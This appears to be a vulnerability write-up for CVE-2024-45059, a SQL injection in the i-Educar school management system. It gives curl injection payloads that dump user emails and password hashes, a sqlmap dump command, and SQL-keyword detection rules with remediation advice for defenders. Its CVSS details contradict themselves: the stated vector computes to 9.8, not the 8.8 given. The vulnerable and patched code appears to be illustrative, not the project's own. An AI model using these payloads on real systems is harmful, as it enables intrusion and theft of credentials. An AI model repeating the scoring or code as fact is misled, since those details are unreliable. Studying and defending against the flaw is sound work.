CVE-2024-45059

Executive Summary

CVE-2024-45059 is a critical SQL Injection vulnerability in i-Educar, a free, open-source school management system. The flaw resides in the /ieducar/intranet/funcionario_vinculo_det.php file, where the cod_func GET parameter is directly concatenated into a SQL query without sanitization. An unauthenticated attacker can exploit this to extract sensitive data, including user emails and password hashes, leading to potential account takeover and data breach. The vulnerability affects all versions prior to the 2.9 branch, specifically before commit 7824b95745fa2da6476b9901041d9c854bf52ffe. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and well-documented.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – the vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – sensitive data (emails, password hashes) can be read.
• Integrity Impact: High (I:H) – attacker can modify database content.
• Availability Impact: High (A:H) – attacker can disrupt database operations.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using i-Educar.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the funcionario_vinculo_det.php file. The vulnerable code constructs a SQL query by directly concatenating the cod_func parameter from the GET request:

$sql = "SELECT * FROM funcionario_vinculo WHERE cod_func = " . $_GET['cod_func'];

An attacker can inject arbitrary SQL commands by providing a malicious value for cod_func, such as:

cod_func=1 UNION SELECT email, password_hash FROM users

This allows the attacker to:

• Extract all user emails and password hashes.
• Bypass authentication.
• Potentially escalate privileges.
• Modify or delete database records.

The fix (commit 7824b95745fa2da6476b9901041d9c854bf52ffe) uses prepared statements or proper sanitization to prevent injection.

Vulnerable vs. Patched Code

Vulnerable Code (prior to fix):

// ieducar/intranet/funcionario_vinculo_det.php
$cod_func = $_GET['cod_func'];
$sql = "SELECT * FROM funcionario_vinculo WHERE cod_func = " . $cod_func;
$result = mysqli_query($conn, $sql);

Patched Code (after commit 7824b95745fa2da6476b9901041d9c854bf52ffe):

// ieducar/intranet/funcionario_vinculo_det.php
$cod_func = intval($_GET['cod_func']); // Cast to integer
$sql = "SELECT * FROM funcionario_vinculo WHERE cod_func = " . $cod_func;
$result = mysqli_query($conn, $sql);

The patch uses intval() to ensure the input is an integer, effectively neutralizing SQL injection. A more robust fix would use prepared statements:

$stmt = $conn->prepare("SELECT * FROM funcionario_vinculo WHERE cod_func = ?");
$stmt->bind_param("i", $cod_func);
$stmt->execute();

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

1. Deploy a vulnerable i-Educar instance (version < 2.9) using Docker or a local LAMP stack.
2. Ensure the /ieducar/intranet/funcionario_vinculo_det.php endpoint is accessible.

Exploitation Steps:

1. Basic Injection Test:

   curl "http://target/ieducar/intranet/funcionario_vinculo_det.php?cod_func=1"
   

   Normal response.

2. Boolean-Based Blind Injection:

   curl "http://target/ieducar/intranet/funcionario_vinculo_det.php?cod_func=1 AND 1=1"
   

   If response is same as normal, injection works.

3. Extract Data (e.g., emails and password hashes):

   curl "http://target/ieducar/intranet/funcionario_vinculo_det.php?cod_func=1 UNION SELECT email, password_hash FROM users"
   

   This will return the data in the response.

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target/ieducar/intranet/funcionario_vinculo_det.php?cod_func=1" --batch --dump
   

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for suspicious GET requests to /ieducar/intranet/funcionario_vinculo_det.php with unusual cod_func parameters (e.g., containing SQL keywords like UNION, SELECT, OR, AND).
• Use WAF rules to block SQL injection patterns.

Mitigation:

• Apply the patch immediately (commit 7824b95745fa2da6476b9901041d9c854bf52ffe).
• If patching is not possible, implement input validation (e.g., only allow numeric values for cod_func).
• Use a Web Application Firewall (WAF) with SQL injection signatures.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /ieducar/intranet/funcionario_vinculo_det.php with cod_func parameter containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
  • Unusual response sizes or error messages from the same endpoint.

• File IOCs:

  • Modified or new files in the i-Educar installation directory (e.g., webshells).
  • Suspicious entries in web server access logs.

• Database IOCs:

  • Unauthorized queries in database logs.
  • New user accounts or modified permissions.

Detection Engineering

YARA Rule

rule CVE_2024_45059_SQLi_iEducar {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-45059 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45059"
    strings:
        $sqli_pattern1 = /cod_func=.*(UNION|SELECT|OR|AND|--|#|')/i
        $sqli_pattern2 = /funcionario_vinculo_det\.php.*cod_func=.*\d.*(UNION|SELECT)/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-45059 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against i-Educar funcionario_vinculo_det.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/ieducar/intranet/funcionario_vinculo_det.php'
        cs-uri-query|re: '(cod_func=.*(UNION|SELECT|OR|AND|--|#))'
    condition: selection
falsepositives:
    - Legitimate use of numeric IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45059 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/ieducar/intranet/funcionario_vinculo_det.php"; http_uri; content:"cod_func="; http_uri; pcre:"/cod_func=.*(UNION|SELECT|OR|AND|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Apply commit 7824b95745fa2da6476b9901041d9c854bf52ffe or upgrade to i-Educar 2.9 or later.
2. Input Validation: If patching is delayed, implement strict input validation for the cod_func parameter (e.g., only allow numeric values).
3. WAF Rules: Deploy WAF rules to block SQL injection patterns.
4. Database Hardening: Use least-privilege database accounts and enable query logging.
5. Monitor Logs: Regularly review web server and database logs for suspicious activity.
6. User Notification: If compromise is suspected, force password resets for all users.

Valters IT